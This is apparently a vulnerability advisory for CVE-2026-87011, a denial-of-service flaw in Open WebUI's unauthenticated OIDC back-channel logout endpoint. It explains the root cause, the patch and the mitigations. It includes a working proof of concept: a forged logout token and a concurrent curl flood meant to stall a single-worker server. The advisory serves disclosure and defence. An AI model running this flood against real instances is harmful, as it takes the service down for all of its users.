CVE-2026-87011: open-webui OIDC Back-Channel Logout Unauthenticated DoS
Anyone who can reach an Open WebUI instance with OIDC back-channel logout enabled can stall the server completely by flooding a public endpoint with forged logout tokens, forcing two uncached network…

The problem
The POST /oauth/backchannel-logout endpoint is intentionally unauthenticated because identity providers call it without a browser session. In versions 0.9.0 through 0.11.0, the handler opened a fresh HTTP session per configured provider on every request to re-fetch the OIDC discovery document, then built a brand-new JWKS client whose cache started empty, and called the signing-key lookup synchronously on the async event loop.
All of this work happened before the token signature was checked. An attacker sending worthless tokens still paid the server two outbound network round trips and a blocked event loop per request. Open WebUI runs one worker by default, so a stall affects every user, every chat, and every health check at once.
The same traffic also amplified outward: 20 sequential requests produced 20 discovery fetches and 40 JWKS fetches at the identity provider.
Proof of concept
A working proof-of-concept for CVE-2026-87011 in open-webui, with the exact payload below.
# Craft a minimal logout token: valid iss/aud claims, kid that the IdP does not hold,
# and a four-character dummy signature. Send it in a tight loop.
#
# Header (base64url): {"alg":"RS256","kid":"no-such-key"}
# Payload (base64url): {
# "iss": "https://idp.example.com",
# "aud": "<your-client-id>",
# "iat": <now>,
# "exp": <now+60>,
# "jti": "x",
# "sub": "attacker",
# "events": {"http://schemas.openid.net/event/backchannel-logout":{}}
# }
# Signature: AAAA (four arbitrary base64url characters)
TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6Im5vLXN1Y2gta2V5In0.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlLmNvbSIsImF1ZCI6IjxjbGllbnQtaWQ-IiwiaWF0IjoxNzU3NTAwMDAwLCJleHAiOjE3NTc1MDAwNjAsImp0aSI6IngiLCJzdWIiOiJhdHRhY2tlciIsImV2ZW50cyI6eyJodHRwOi8vc2NoZW1hcy5vcGVuaWQubmV0L2V2ZW50L2JhY2tjaGFubmVsLWxvZ291dCI6e319fQ.AAAA"
# 60 concurrent requests is enough to stall a single-worker instance for ~8 seconds
for i in $(seq 1 60); do
curl -s -X POST https://open-webui.example.com/oauth/backchannel-logout \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "logout_token=$TOKEN" &
done
waitThe root cause is that the handler treated OIDC discovery and JWKS fetches as cheap setup rather than costly work worth protecting. The old code constructed a new PyJWKClient on each request with a fresh (empty) cache, then called get_signing_key_from_jwt() synchronously inside the async event loop, blocking it for the full duration of the network call plus a default five-minute timeout.
The patch (commit aeda6ff) routes both fetches through the already-configured OAuth client, which caches the discovery document and signing keys so they are fetched once per provider and reused on every subsequent request. It also adds an early guard that rejects any token missing a kid header before any key lookup or network call happens.
Both fetches are now awaited asynchronously rather than blocking the loop. The forged token in the payload still gets a 400 response after the fix, but the two outbound fetches and the loop stall no longer occur.
The fix
Upgrade to open-webui 0.11.1. No configuration change is needed. The fix is in commit aeda6ff13a25d3b3ba1b303609f35382db22142c. If you cannot upgrade immediately, set ENABLE_OAUTH_BACKCHANNEL_LOGOUT=false to disable the vulnerable endpoint entirely, and place a rate-limiting reverse proxy rule on POST /oauth/backchannel-logout as a secondary control.
Reported by galanko.
Related research
- high · 8.1CVE-2026-87016CVE-2026-87016: Open WebUI OAuth Subject Wildcard Authentication Bypass
- high · 7.1CVE-2026-87999CVE-2026-87999: Open WebUI SSRF via Azure Platform Channel Address Bypass
- high · 7.7CVE-2026-87996CVE-2026-87996: open-webui DNS Rebinding SSRF in Playwright Web Loader
- high · 8.7CVE-2026-87995CVE-2026-87995: Open WebUI Same-Origin XSS to Account Takeover via Terminal Port-Preview iframe